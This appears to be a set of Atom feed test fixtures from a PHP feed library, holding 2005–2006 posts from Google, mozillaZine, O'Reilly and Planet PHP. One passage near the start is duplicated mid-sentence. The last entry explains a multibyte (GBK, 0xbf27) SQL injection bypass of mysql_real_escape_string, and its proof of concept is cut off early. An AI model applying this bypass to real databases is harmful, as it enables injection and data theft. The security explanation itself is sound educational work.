style="font-style: italic;">Deadline</span>, delivering current events and news from around the world from an irreverent point of view.<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=heretv">here!</a>: Gay and lesbian U.S. television network featuring original movies and series and film library (independent and foreign films, documentaries and shorts).<br /><br />• <span style="font-weight: bold;"><a href="http://video.google.com/videosearch?q=hollywood+licensing">Hollywood Licensing's HilariousDownloads.com</a></span>: Hollywood Licensing is the entertainment licensing agency which represents the best and most extensive library of hilarious videos in the world. Tapping into a library boasting tens of thousands of clips, they have custom produced 20 packages of funny themes a celebrity interview series hosted by Robert Wilonsky; <span style="font-style: italic;">Young, Beautiful and Trying to Make it in Hollywood</span>, following actresses through the hectic process of getting hired in Hollywood; and <span style="font-style: italic;">Deadline</span>, delivering current events and news from around the world from an irreverent point of view.<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=heretv">here!</a>: Gay and lesbian U.S. television network featuring original movies and series and film library (independent and foreign films, documentaries and shorts).<br /><br />• <span style="font-weight: bold;"><a href="http://video.google.com/videosearch?q=hollywood+licensing">Hollywood Licensing's HilariousDownloads.com</a></span>: Hollywood Licensing is the entertainment licensing agency which represents the best and most extensive library of hilarious videos in the world. Tapping into a library boasting tens of thousands of clips, they have custom produced 20 packages of funny themes for Google Video. For example, if you think that your recent home improvements was nothing but a miserable experience, wait until you see a bucket of wet plaster land on a man's face, a house collapsing or a door falling of its hinges for no particular reason.<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=in_label%3Aowner%3Ditn">ITN</a>: One of the world's leading news producers, providing news programming for the main commercial broadcasters in the U.K. and its combined news broadcasts reach over two-thirds of the U.K. population. The company has a strong reputation for the creative and innovative use of modern technology, winning the Royal Television Society's 2004 Innovation Award.<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=in_label%3Aowner%3Diwatchnow">iWatchNow.com</a>: Titles include Night of the Living Dead (George Romero), The Chronicles of Narnia: The Lion, Witch, and the Wardrobe (original animated film BBC from1979), The Man Who Knew Too Much (Hitchcock), the hard-to-find Comedy's Dirtiest Dozen (with Chris Rock and Tim Allen), and The Little Shop of Horrors (1960).<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=kantola&so=0">Kantola Productions</a>: Captures unique speaking events given by well-known experts at Stanford University. Topics focus on innovative and practical business advice, such as How Leaders Boost Productivity by John H. (Jack) Zenger and <span style="font-style: italic;">Mastery of Speaking as a Leader</span> by Terry Pearce.<br /><br />• <span style="font-weight: bold;"><a href="http://video.google.com/videosearch?q=in_label%3Aowner%3Dlime">LIME</a></span>: “Healthy Living with a Twist” offers entertaining and revealing programming focused on a greener, healthier, more balanced lifestyle. Programming features inspiration from leading experts, authors, and pop culture icons and covers topics including the environment and sustainability, personal growth, alternative health, healthy foods, and business ethics.<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=mediazone.com&so=0">MediaZone.com</a>: Programming covers sporting events, TV episodes, movies, how-to programs. Content includes <span style="font-style: italic;">The Rugby Channel presents ‘The Best Tries of 2004’</span> and <span style="font-style: italic;">The All Blacks of New Zealand Vs. Springboks of South Africa</span>.<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=in_label%3Aowner%3Dtwi+nobel">Nobel Video Library</a>: A library focused on the achievements of individual Nobel Laureate. The series was developed to introduce students to the work of the laureates as well as to support classroom discussion regarding important issues addressed by Nobel Prize winners in recent decades.<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=open+championship&so=0">Open Championship</a>: Official programs from the classic golf tournament, the British Open, such as<span style="font-style: italic;"> </span><span style="font-style: italic;">Reflections: Past Open Champions</span>.<br /><br />•<a style="font-weight: bold;" href="http://video.google.com/videosearch?q=plum+tv"> Plum TV</a>: Provides highly localized programming to the nation’s most influential consumers, and strives to be an incubator of groundbreaking new television programming. Each Plum TV station shares branding which links each station as a network, but still provides original programming customized to reflect each community. Plum TV’s programming includes regionally-focused feature pieces, tourist information (weather, traffic reports, restaurant reviews, retail and lodging information), a real estate show, local news and specially targeted entertainment for each community’s interests.<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=porchlight+entertainment">PorchLight Entertainment</a>: Porchlight produces family-oriented motion pictures and TV specials. Google Video will offer 36 titles including <span style="font-style: italic;">Enough Already</span> and <span style="font-style: italic;">Role of a Lifetime</span>.<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=SOFA+Entertainment&so=0">SOFA Entertainment</a>: Represents pop culture at its best. Featuring several titles from the classic <span style="font-style: italic;">The Ed Sullivan Show</span> along with documentaries, feature films and music programming. SOFA Entertainment truly offers something for everyone. Some highlights include <span style="font-style: italic;">The Very Best of The Ed Sullivan Show - Vol. 1 & Vol. 2.</span><br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=Sony+BMG">SONY BMG MUSIC ENTERTAINMENT</a>: The lineup of launch videos includes offerings from some of SONY BMG's largest global superstar artists, including Christina Aguilera, Beyonce, Kenny Chesney, Destiny's Child, Kelly Clarkson, Alicia Keys, Lil' Flip, Jessica Simpson, Shakira, System of a Down, Switchfoot, Usher, and many more.<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=Tai+Seng&so=0">Tai Seng Entertainment</a>: The definitive Asian cinema powerhouse. Known as the best source for Hong Kong films, Tai Seng also releases cinematic masterpieces from all over the Asia region in a variety of languages. Tai Seng brings to your home the best in class from high-octane action to bone-crushing martial arts, from chilling horror to lush swordplay epics. We are proud to showcase with Google some of Asia's biggest hits like Johnnie To's <span style="font-style: italic;">Running On Karma</span>, Korea's sensuously emotional drama <span style="font-style: italic;">Addicted</span>, martial arts Master Yuen Wo Ping's highly acclaimed <span style="font-style: italic;">Tai Chi Master</span>, and Michelle Yeoh's violently elegant <span style="font-style: italic;">Butterfly Sword</span>.<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=Teen+Kids+news">Teen Kids News</a>: A dynamic television news program for teens and pre-teens, by teens. The half-hour weekly program provides 10 eyewitness news segments to students in a way that's educational as well as entertaining. Thirty shows with kids reporting on camera are available on Google Video.<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=Trinity+Broadcasting+&so=0">Trinity Broadcasting Network</a>: The world's largest religious network and America's most watched faith channel, TBN offers 24 hours of commercial-free inspirational programming that appeal to people in a wide variety of Protestant, Catholic and Messianic Jewish denominations. <span style="font-style: italic;">The Praise the Lord Program</span> is the only live two-hour Christian program in the world. The program brings the highest caliber of guests from well-known celebrities to laypersons for interview, as well as, singers, musicians, evangelists and the coverage of revivals and crusades from around the world. This award-winning program has been on each week night for over 30 years.<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videoplay?docid=8592392906577495616&q=in_label%3Aowner%3Dunion">Union</a>: Offers the best of breed from the world of action sports, including snow, skate, bmx, moto, and surfing. Union is owned by Quiksilver Entertainment, Inc. and Global Media Ventures, LLC.<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=wilderness+films+india">WFIL</a>: Wilderness Films India Ltd. is a leading producer and library of stock footage captured in India and across Asia. WFIL will offer 100 hours of high quality video, both free and for sale, on Google Video. Topics vary from helicopter skiing in the Himalaya, broadcast coverage of an Everest climb, and rare wildlife such as the takin and the clouded leopard to imagery spanning India's art, culture, technology, peoples, cities, and rural areas.<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=wgbh+boston">WGBH</a>: WGBH Boston is America's preeminent public broadcasting producer, the source of fully one-third of PBS's prime-time lineup, along with some of public television's best-known lifestyle shows and children's programs and many public radio favorites. Programming available includes <span style="font-style: italic;">Nova</span>, <span style="font-style: italic;">La Plaza</span> (the longest running Latino program in the country), <span style="font-style: italic;">Thinking Big</span>, and <span style="font-style: italic;">Basic Black</span>. WGBH is the number one producer of Web sites on pbs.org, one of the most trafficked dot-org Web sites in the world. WGBH is a pioneer in educational multimedia and in technologies and services that make media accessible to the 36 million Americans who rely on captioning or video descriptions. WGBH has been recognized with hundreds of honors: Emmys, Peabodys, duPont-Columbia Awards.even two Oscars. In 2002, WGBH was honored with a special institutional Peabody Award for 50 years of excellence.<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=WheelsTV&so=0">WheelsTV</a>: Serves both the general audience and the enthusiast with a wide spectrum of vehicle-based entertainment, news and information. WheelsTV Network, WheelsTV On Demand and WheelsTV.net have been developed by the producers of multi-awarding winning automotive programming for Discovery, PBS, Speedvision, Fox and Outdoor Life Networks including <span style="font-style: italic;">Wild About Wheels</span>, <span style="font-style: italic;">Wheels</span>, and <span style="font-style: italic;">Motor Trend Television</span>. WheelsTV Network’s valuable consumer programs include <span style="font-style: italic;">Top 200™ New Vehicle Test Drives</span>. With <span style="font-style: italic;">Top 200</span> on Google, consumers will be able to download virtual test drives of the best selling and most exciting cars on the road today, saving time and money.<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=in_label%3Aowner%3Dtwi">Wimbledon</a>: Official programs from the Wimbledon Tennis Championships such as <span style="font-style: italic;">Legends of Wimbledon: Bjorn Borg</span>. false A Googler 2006-01-09T06:27:00-08:00 2006-01-09T14:30:23Z 2005-12-18T23:47:55Z tag:blogger.com,1999:blog-10861780.post-113494967528450491 The 2006 Anita Borg Scholarships
      Posted by April Yu, University Programs Team, and Emily Nishi, Diversity Program Manager

      The wonderfully-named Dr. Anita Borg (1949 - 2003) was a rebel with a cause: ensuring that technology itself has positive outcomes, and dismantling barriers that keep women and minorities from entering computing and technology fields. Today the Anita Borg Institute for Women and Technology carries on her vision. And because Google shares that passion, we are pleased to sponsor the 2006 Anita Borg Scholarship program. We are inspired by the past scholarship recipients -- and in hopes of finding more, the program is expanded this year to accept applications from students entering their senior year of undergraduate study as well as those enrolled in a graduate program. Last year we awarded 23 scholarships; this year we'd like to do more.

      Tell your friends, or apply yourself - the deadline is January 20.
       false       A Googler 2006-01-06T16:51:00-08:00 2006-01-07T00:54:51Z 2005-12-31T18:24:44Z tag:blogger.com,1999:blog-10861780.post-113605348414874975 Make your computer just work <span class="byline-author">Posted by Jesse Savage, Google Pack team</span><br /> <br />So you bought a new PC for yourself or a relative during the holidays. There was the initial excitement about its speed and the nice screen – and then it came time to actually get it running. Which meant embarking on some real work -– downloading a browser, a couple of multimedia players, a PDF reader, a toolbar, and maybe something for voice and instant messaging. Don’t forget the anti-spyware and anti-virus apps – you’ve got to have those. Hours, maybe even days, go by. How many wizards have you clicked through, not to mention license agreements and preference pickers? And then you have to ask: did I get everything? And how am I going to keep all of this up to date?<br /> <br />This was the experience both Sergey and Larry had a year ago. And they’re computer guys, after all. Which led them to ask more of us to make it easier for everyone. So we created the <a href="http://pack.google.com">Google Pack</a> -- a one-stop software package that helps you discover, install, and maintain a wide range of essential PC programs. It’s yours today – and it’s something we hope you find to be painless, easy, and even fun (if computer setup can ever be called that). And it’s free. <br /> <br />We worked with a number of technology companies to identify products that are the best of their type to create <a href="http://www.google.com/support/pack">this suite</a>. (We didn’t pay them, and they aren’t paying us.) For PC users running Windows XP, it downloads in minutes and installs in just a few clicks. There’s only one license agreement – and no wizards. And there’s a new tool called the <a href="http://www.google.com/support/pack/bin/answer.py?answer=30252&topic=8326/">Google Updater</a> that keeps all the software in the Google Pack current. Even if you already have some of the software in the Pack, you can use the Google Updater to update and manage it.<br /> <br />There’s one more thing in the Pack that we think you’ll like. The Pack team asked people what kind of screensavers they like best. They kept saying, “I want my own photos as a screensaver, why can’t I do that?” Good question -- lots of people have trouble with this. So we made the <a href="http://www.google.com/support/pack/bin/answer.py?answer=28076&topic=8315">Google Pack Screensaver</a>, which is the easiest possible way to make your photos into an animated photo collage. And now the question for you is: what will you do with all that time you've saved? false A Googler 2005-12-30T17:18:00-08:00 2006-01-05T21:52:34Z 2005-12-31T01:31:39Z tag:blogger.com,1999:blog-10861780.post-113599269991367646 A year of Google blogging
      Posted by Karen Wickre, Google Blog team

      This is the 201st post to be published on the Google Blog in 2005. In closing out the first full year of our company-wide effort to share news and views, we thought you might be interested in a few factoids. Since we've had Google Analytics running on this blog since June, some of these numbers reflect only half a year. In that time, 4.3 million unique visitors have generated 8.7 million pageviews. Readers have come from all over the world, not just English-speaking countries: 53,001 visitors from Turkey have stopped by, for example; so have 155,691 from France, 29,614 from Thailand and 8,233 from Peru.

      The most popular posts? Here are a few that have yielded scores of backlinks:

      - Our explanation of "Googlebombing"
      - A celebration of email and Gmail
      - Google Earth's partnership with National Geographic about Africa

      Several on Google Book Search (formerly known as Google Print), including:
      - Preserving public domain books
      - Our statement on the Authors' Guild suit
      - and Eric Schmidt's op-ed about Book Search.

      During the year, we've published 38 how-to tips, announced 77 new products and services, and addressed policy questions and legal matters 17 times. We've featured 11 guest bloggers. Forty posts have illuminated something about day to day life at Google; 19 have offered some international perspective.

      In 2006, we'll keep up the Google Blog with more posts, more bloggers, and even more topics. Meanwhile, we really appreciate your interest and feedback, now visible through "Links to this post." We know some of you would like to offer comments directly, and we would like that too, when we can add resources to the blog crew. Meanwhile, our best to you and yours for the New Year.
       false       Horde_Feed-2.0.4/test/Horde/Feed/fixtures/AtomTestMozillazine.xml0000664000175000017500000004207412653701626023060 0ustar janjan mozillaZine.org 2006-01-23T04:04:45-08:00 Your Source for Daily Mozilla News and Advocacy tag:mozillazine.org,2004:1 Copyright (c) 2004, The Mozillazine Organization Minutes of the mozilla.org Staff Meeting of Monday 9th January 2006 2006-01-22T20:04:42-08:00 2006-01-22T20:04:42-08:00 2006-01-22T20:04:42-08:00 tag:mozillazine.org,2004:article7935 mozillaZine.org The minutes of the mozilla.org staff meeting held on Monday 9th January 2006 are now online. Issues discussed include Firefox 1.5.0.1 release schedule, Thunderbird 1.5 release and Marketing.

      ]]> Talkback

      ]]>       Minutes of the mozilla.org Staff Meeting of Wednesday 4th January 2006 2006-01-12T09:29:47-08:00 2006-01-12T09:29:47-08:00 2006-01-12T09:29:47-08:00 tag:mozillazine.org,2004:article7895 mozillaZine.org The minutes of the mozilla.org staff meeting held on Wednesday 4th January 2006 are now available. Issues discussed include Upcoming Releases, Marketing, Thunderbird, 1.9 Roadmap, Firefox 2 Process and Calendar.

      The minutes have been posted to the new mozilla.dev.general newsgroup, which is accessible via news.mozilla.org. The previously announced newsgroup migration is in progress. Once mozilla.dev.planning is created, minutes will be posted there.

      ]]> Talkback

      ]]>       Thunderbird 1.5 Released 2006-01-11T18:19:13-08:00 2006-01-11T18:19:13-08:00 2006-01-11T18:19:13-08:00 tag:mozillazine.org,2004:article7892 mozillaZine.org Scott MacGregor writes: "The final release of Mozilla Thunderbird 1.5 is now available for download from getthunderbird.com. Users of RC1 should see the update soon. If you are using RC2, then you already have 1.5 final."

      "Thunderbird 1.5 introduces several new features including a software update system, spell check as you type, built in phishing detector, auto save as draft, and support for deleting attachments from email messages. Message filtering has also been improved with new filter actions for replying and forwarding. Saved search folders can now search folders across multiple accounts."

      "More details can be found in the Mozilla Thunderbird 1.5 Release Notes, and the support forum staff is available for questions. "

      "I wanted to thank everyone in the mozillaZine community who helped test the alphas, the betas, and the release candidates that went into this release. Thank you for trusting Thunderbird with your email throughout the development and release cycle for 1.5. I'm looking forward to working with all of you on 2.0 and beyond!"

      ]]> Talkback

      ]]>       Firefox Smoketest Day Planned for January 6, 2006 2006-01-04T14:14:20-08:00 2006-01-04T14:14:20-08:00 2006-01-04T14:14:20-08:00 tag:mozillazine.org,2004:article7859 mozillaZine.org The Mozilla QA team has announced a community test day with focus on smoketesting nightly Firefox 1.5.0.1 builds.

      Litmus tool will be used for this testing event. There is a FAQ posted on the QA community wiki that will have specific instructions on how this testing day will run.

      ]]> Talkback

      ]]>       Camino 1.0 Beta 2 Released 2006-01-02T15:23:18-08:00 2006-01-02T15:23:18-08:00 2006-01-02T15:23:18-08:00 tag:mozillazine.org,2004:article7850 mozillaZine.org Camino 1.0 beta 2 has been released. This latest version of the native Mac OS X browser is replacing 0.8.4 as the stable Camino release on all systems 10.2+. See the Camino 1.0 Beta 2 Release Notes for more details.

      ]]> Talkback

      ]]>       Mozilla Newsgroups Migration Scheduled 2006-01-02T15:07:27-08:00 2006-01-02T15:07:27-08:00 2006-01-02T15:07:27-08:00 tag:mozillazine.org,2004:article7849 mozillaZine.org Frank Wein has announced that the migration and reorganization of Mozilla newsgroups will take place in January 2006. As announced earlier, the new newsgroups will be hosted by Giganews. Access to the news server news.mozilla.org will remain free. The new groups will only be propogated to news.mozilla.org, Giganews Servers and Google Groups in an effort to combat news spam. For more information, refer to the FAQ and the list of new newsgroups.

      ]]> Talkback

      ]]>       Mozilla Thunderbird 1.5 Release Candidate 2 Available 2005-12-21T13:58:07-08:00 2005-12-21T13:58:07-08:00 2005-12-21T13:58:07-08:00 tag:mozillazine.org,2004:article7823 mozillaZine.org Scott MacGregor writes: "The second release candidate of Mozilla Thunderbird 1.5 is now available for download. Mozilla Thunderbird 1.5 RC2 is intended to allow testers to ensure that there are no last-minute problems with the Thunderbird 1.5 code. "

      "RC2 contains several key bug fixes that were identified during the RC1 testing cycle. There are no new features or enchancements from RC1. Users of Thunderbird 1.5 RC1 will be offered RC 2 through the software update system."

      "Thunderbird 1.5 RC2 can be downloaded from the Thunderbird 1.5 RC2 Release Notes page, or the Thunderbird 1.5rc2 directory on ftp.mozilla.org. More details can be found in the Release Notes."

      "I'd like to single out all of the folks who participated in our QA testing day and our localization testing day. We wouldn't have been able to release RC2 before the holidays without all the volunteers who pitched in. Thank you!"

      ]]> Talkback

      ]]>       Interview with Mike Beltzner 2005-12-20T23:00:29-08:00 2005-12-20T23:00:29-08:00 2005-12-20T23:00:29-08:00 tag:mozillazine.org,2004:article7820 mozillaZine.org David Tenser has posted an interview with Mozilla Foundation's User Experience Lead, Mike Beltzner. The interview was conducted over instant messaging sessions during the last week of November. Mike talks about usability studies, design of the Mozilla Developer Central, and the new bookmark system planned for Firefox 2.

      ]]> Talkback

      ]]>       Gecko 1.9 Trunk and 1.8 Branch Management Plan Posted 2005-12-20T18:08:36-08:00 2005-12-20T18:08:36-08:00 2005-12-20T18:08:36-08:00 tag:mozillazine.org,2004:article7819 mozillaZine.org Brendan Eich has posted a draft plan for Gecko 1.9 Trunk and 1.8 Branch Management, including a FAQ at the mozilla wiki. Comments should be directed as followups to the newsgroup post.

      ]]> Talkback

      ]]>       Minutes of the mozilla.org Staff Meeting of Monday 12th December 2005 2005-12-20T18:04:08-08:00 2005-12-20T18:04:08-08:00 2005-12-20T18:04:08-08:00 tag:mozillazine.org,2004:article7818 mozillaZine.org The minutes of the mozilla.org staff meeting held on Monday 12th December 2005 are now online. Issues discussed include Firefox Summit, Engineering, Upgrading, Awards and Newsgroups reorganisation

      ]]> Talkback

      ]]>       Minutes of the mozilla.org Staff Meeting of Monday 5th December 2005 2005-12-20T18:02:08-08:00 2005-12-20T18:02:08-08:00 2005-12-20T18:02:08-08:00 tag:mozillazine.org,2004:article7817 mozillaZine.org The minutes of the mozilla.org staff meeting held on Monday 5th December 2005 are now online. Issues discussed include Firefox Summit and Engineering.

      ]]> Talkback

      ]]>       SeaMonkey 1.0 Beta Released 2005-12-20T17:41:12-08:00 2005-12-20T17:41:12-08:00 2005-12-20T17:41:12-08:00 tag:mozillazine.org,2004:article7815 mozillaZine.org Robert Kaiser writes: "Today, the SeaMonkey Council announces a new developer release, SeaMonkey 1.0 Beta. Compared to the Alpha version released in September, SeaMonkey 1.0 Beta enhances the product with new features like tab drag and drop, but also is the first release branded with the new SeaMonkey logo, which was unveiled earlier this month."

      "The SeaMonkey 1.0 Beta Release Notes have more information about this test version. All the builds are available from the SeaMonkey 1.0b directory on ftp.mozilla.org."

      ]]> Talkback

      ]]>       Horde_Feed-2.0.4/test/Horde/Feed/fixtures/AtomTestOReilly.xml0000664000175000017500000002025112653701626022133 0ustar janjan weblogs.oreilly.com The O'Reilly Network Weblogs Copyright 2005, O'Reilly Media, Inc. http://weblogs.oreilly.com/ 2006-01-23T09:16:40-08:00 O'Reilly Media, Inc. no Delightful Javascript Libs -- LGPL, Too. http://www.oreillynet.com/pub/wlg/9085
      Here are some fundamental, well made JS goodies: Vectorgraphics Library, Drag'nDrop & DHTML Library, Tooltips with JavaScript Lib, and Rotate Image Lib. A pleasure to work with, and LGPL'ed. Also check out the JS Online Function Grapher.
      Sid Steward 2006-01-23T09:16:40-08:00       Web 2.0: Simple division? http://www.oreillynet.com/pub/wlg/9084
      There's been a lot of talk about the revolutionary change Web 2.0 promises, and it's time to look at the architecture that's leading to that change: a greater split between client and server logic.
      Simon St. Laurent 2006-01-23T08:15:34-08:00       Don't Give us your Tired Your Poor http://www.oreillynet.com/pub/wlg/9083
      Give us your vibrant, exciting, cool, open source Java submissions for this year's OSCON.
      Daniel H. Steinberg 2006-01-23T07:45:36-08:00       Cutting Through the Patent Thicket http://www.oreillynet.com/pub/wlg/9082
      Good succinct summary of the anti-patent argument, including how VC's look at patents and get duped by them.
      Damien Stolarz 2006-01-23T00:45:30-08:00       The addslashes() Versus mysql_real_escape_string() Debate http://www.oreillynet.com/pub/wlg/9081
      Last month, I discussed Google's XSS Vulnerability and provided an example that demonstrates it. I was hoping to highlight why character encoding consistency is important, but apparently the addslashes() versus mysql_real_escape_string() debate continues.
      Chris Shiflett 2006-01-22T22:45:11-08:00       RPM Rollback in Fedora Core 4/5 http://www.oreillynet.com/pub/wlg/9080
      Fedora's yum/rpm system includes a little-known capability: it can rollback a system to a previously-installed state.
      Chris Tyler 2006-01-22T13:15:12-08:00       Shifting Gears: Switching to Django http://www.oreillynet.com/pub/wlg/9075
      I've been using TurboGears since its public debut around September of last year. I believe it has incredible potential, but I'm finding myself needing something a little different. That something is Django.
      Jeremy Jones 2006-01-22T12:15:19-08:00       Are We In A Productivity Crisis? http://www.oreillynet.com/pub/wlg/9079
      Are we in a new kind of productivity crisis, one in which there is not too little productivity, but too much?
      Spencer Critchley 2006-01-22T09:45:58-08:00       What Happens When You Edit an Image Stored Outside of iPhoto 6 http://www.oreillynet.com/pub/wlg/9078
      Is the edited image stored inside or outside of your iPhoto 6 library?
      Derrick Story 2006-01-22T07:45:58-08:00       Building emacs22 on Mac OS X http://www.oreillynet.com/pub/wlg/9074
      Emacs 22 is Mac OS X aware, and can be built either as a Carbon .app double-clickable, or as a typical X11 program. Problem is, the information about how to build it is pretty scattered. Here's what works for me.
      Chris Adamson 2006-01-21T19:45:53-08:00       hip to bash web2.0, are we? http://www.oreillynet.com/pub/wlg/9034
      It's hip to take some "diggs" at Web 2.0.
      Timothy M. O'Brien 2006-01-21T15:46:26-08:00       My New Game Development Course at Tufts http://www.oreillynet.com/pub/wlg/9076
      I am teaching a new course at the Tufts University, "Introduction to Game Development," this semester.
      Ming Chow 2006-01-21T12:46:56-08:00       Tune in to Radio Babylon http://www.oreillynet.com/pub/wlg/9073
      Hardware hacks we'd like to see in iPods, #1
      Giles Turnbull 2006-01-20T14:15:54-08:00       A resource for Google maphacks and mashers now at Maphacks,net http://www.oreillynet.com/pub/wlg/9072
      Glenn Letham 2006-01-20T12:16:05-08:00       UK film studio on the hunt for Google earth programmers http://www.oreillynet.com/pub/wlg/9071
      Glenn Letham 2006-01-20T11:47:03-08:00       Horde_Feed-2.0.4/test/Horde/Feed/fixtures/AtomTestPlanetPHP.xml0000664000175000017500000005705412653701626022362 0ustar janjan Planet PHPPeople blogging about PHPhttp://www.planet-php.net/ Planet PHP Aggregator 2006-01-23T16:40:00ZeZ components in Gentoo LinuxSebastian Bergmannhttp://www.sebastian-bergmann.de/blog/archives/565-guid.html2006-01-23T16:40:00Z2006-01-23T16:40:00ZeZ components, which provide an enterprise ready general purpose PHP platform, are now available through Gentoo Linux's portage system:
      wopr-mobile ~ # emerge -vp ezc-eZcomponents

These are the packages that I would merge, in order:

Calculating dependencies ...done!
[ebuild  N    ] app-admin/php-toolkit-1.0-r2  0 kB
[ebuild  N    ] dev-lang/php-5.1.2  0 kB [3]
[ebuild  N    ] dev-php/PEAR-PEAR-1.4.6  0 kB [2]
[ebuild  N    ] dev-php5/ezc-Base-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-Database-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-PhpGenerator-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-Configuration-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-ImageAnalysis-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-Archive-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-Translation-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-Cache-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-ConsoleTools-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-PersistentObject-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-ImageConversion-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-Mail-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-UserInput-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-Debug-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-EventLog-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-Execution-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-eZcomponents-1.0_rc1  0 kB [2]

Total size of downloads: 0 kB
Portage overlays:
 [1] /usr/local/overlay/personal
 [2] /usr/local/overlay/cvs
 [3] /usr/local/overlay/php/testing
 [4] /usr/local/overlay/php/experimental
 [5] /usr/local/overlay/gentopia
 [6] /usr/local/overlay/xgl
      ]]>      PHP InsecurityChris Shifletthttp://shiflett.org/archive/1852006-01-23T16:15:00Z2006-01-23T16:15:00ZAndrew van der Stock has written a strong criticism of PHP's insecurity. Andrew is a seasoned security expert and a major contributor to OWASP, and he states:

      After writing PHP forum software for three years now, I've come to the conclusion that it is basically impossible for normal programmers to write secure PHP code. It takes far too much effort.

      He continues, citing specific areas where he thinks PHP is weak and asserting that "PHP must now mature and take on a proper security architecture."

      Many of the insecure features he cites (register_globals, magic_quotes_gpc, and safe_mode) are slated to be removed in PHP 6, but his core complaint seems to revolve around the fact that PHP makes too much power too easily accessible, often granting developers more power and flexibility than they realize (e.g., wrappers).

      Aside from minor language features like taint mode, I don't see what other platforms offer to help prevent inexperienced developers from writing insecure code. Anyone care to enlighten me? :-)

      Posted Mon, 23 Jan 2006 16:15:56 GMT in Chris Shiflett: The PHP Blog
      [   Discuss   |   Tag   |   Digg   |   Furl   |   Cosmos   ]

      ]]>      Beta release of mobile webmail client (MIMP)Horde Newshttp://janschneider.de/cweb/home/index,channel,25,story,255.html2006-01-23T10:01:00Z2006-01-23T10:01:00ZMeet me at php|tekThinkPHP /dev/blog - PHPhttp://blog.thinkphp.de/archives/81-guid.html2006-01-22T22:34:00Z2006-01-22T22:34:00Zphp|tek, the next conference from the php|arch guys around Marco Tabini who already organized the php|cruise and php|tropics conferences, will be from April 26th to 28th at Orlando, Florida. As you can read on the recently published schedule I'll hold two talks. The first talk will be about PHP on the command line, showing PHP's strength beyond the web which can be helpful to build, deploy and scale your web-application and even for building apps completely independent from anything on the web. My second talk will be about PHP's reflection API. In that session I'll give an introduction into the API and show how to use it to build modular, dynamic applications.

      If you're in reachable distance you should take the chance to listen and meet PHP developers from all over the world. (Hint: Till January 31st you can get early-bird rates!)

      johannes

      ]]>      Quick LookupJohn Coxhttp://wyome.com/index.php?module=articles&func=display&ptid=10&catid=29-31&aid=5072006-01-22T19:23:00Z2006-01-22T19:23:00ZQuick lookup is a very nice little reference tool for lookups of web development documentation. It installs as a simple bookmark which can be changed to your sidebar for look ups of php / css / javascript / mysql documentation. It has a limited scope of features (which isn't a bad thing in my mind):

      * Multiple tabs
      * PHP / MySQL / CSS / JS reference (MySQL is 55% complete)
      * Examples
      * Search as you type
      * Fast results
      * Remembers your last tab on your revisit
      * Access keys, [alt + (p, m, j, c)]

      I did a cursory install, and it appears to be pretty fast. I think it might be better as part of the Web Developer Extension for Firefox, but as is, I can see the uses.

      ]]>      mysql_real_escape_string() versus Prepared StatementsIlia Alshanetskyhttp://ilia.ws/archives/103-guid.html2006-01-22T18:03:00Z2006-01-22T18:03:00ZChris has written a compelling piece about how the use of addslashes() for string escaping in MySQL queries can lead to SQL injection through the abuse of multibyte character sets. In his example he relies on addslashes() to convert an invalid multibyte sequence into a valid one, which also has an embedded ' that is not escaped. And in an ironic twist, the function intended to protect against SQL injection is used to actually trigger it.

      The problem demonstrated, actually goes a bit further, which even makes the prescribed escaping mechanism, mysql_real_escape_string() prone to the same kind of issues affecting addslashes(). The main advantage of the mysql_real_escape_string() over addslashes() lies in the fact that it takes character set into account and thus is able to determine how to properly escape the data. For example, if GBK character set is being used, it will not convert an invalid multibyte sequence 0xbf27 (¿’) into 0xbf5c27 (¿\’ or in GBK a single valid multibyte character followed by a single quote). To determine the proper escaping methodology mysql_real_escape_string() needs to know the character set used, which is normally retrieved from the database connection cursor. Herein lies the “trick”. In MySQL there are two ways to change the character set, you can do it by changing in MySQL configuration file (my.cnf) by doing:

      CODE:
      [client]
      default-character-set=GBK


      Or you can change on a per-connection basis, which is a common practice done by people without admin level access to the server via the following query:

      CODE:
      SET CHARACTER SET 'GBK'


      The problem with the latter, is that while it most certainly modified the charset it didn’t let the escaping facilities know about it. Which means that mysql_real_escape_string() still works on the basis of the default charset, which if set to latin1 (common default) will make the function work in a manner identical to addslashes() for our purposes. Another word, 0xbf27 will be converted to 0xbf5c27 facilitating the SQL injection. Here is a brief proof of concept.

      PHP:

      <?php

      $c       = mysql_connect("localhost", "user", "pass");
      mysql_select_db("database", $c);

